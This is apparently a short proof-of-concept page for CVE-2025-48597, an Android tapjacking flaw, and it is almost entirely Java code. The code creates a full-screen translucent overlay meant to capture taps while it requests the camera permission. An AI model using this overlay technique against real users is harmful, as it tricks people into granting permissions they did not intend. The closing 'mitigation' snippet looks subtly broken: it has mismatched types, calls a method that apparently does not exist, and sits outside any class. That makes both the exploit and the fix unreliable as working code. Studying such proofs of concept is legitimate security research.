CVE-2025-48597 Android Tapjacking权限欺骗漏洞

// CVE-2025-48597 PoC - Tapjacking Permission Trick // This PoC demonstrates the overlay attack concept public class TapjackingPOC extends AppCompatActivity { private static final String TAG = "TapjackingPOC"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // Create overlay window for tapjacking attack createMaliciousOverlay(); // Trigger permission request that can be hijacked requestSensitivePermission(); } private void createMaliciousOverlay() { WindowManager.LayoutParams params = new WindowManager.LayoutParams( WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.MATCH_PARENT, WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN, PixelFormat.TRANSLUCENT ); // Malicious overlay captures user taps View overlayView = createOverlayView(); WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE); wm.addView(overlayView, params); } private View createOverlayView() { // Overlay that tricks users into granting permissions // In real attack, this would intercept system permission dialogs TextView tv = new TextView(this); tv.setText("Tapjacking Overlay Active"); tv.setBackgroundColor(Color.TRANSPARENT); return tv; } private void requestSensitivePermission() { // Request dangerous permission that could be hijacked if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { requestPermissions(new String[]{Manifest.permission.CAMERA}, 101); } } } // Mitigation: Applications should check FLAG_WINDOW_IS_OBSCURED private boolean isWindowObscured() { Window rootView = getWindow().getDecorView(); if (rootView != null) { IBinder windowToken = rootView.getWindowToken(); try { IWindowManager wm = IWindowManager.Stub.asInterface( ServiceManager.getService("window")); return wm.isWindowObscured(windowToken); } catch (RemoteException e) { Log.e(TAG, "Failed to check window obscured state", e); } } return false; }